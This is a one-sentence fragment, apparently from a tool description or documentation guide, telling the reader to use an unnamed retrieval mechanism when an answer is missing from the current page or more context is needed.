Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
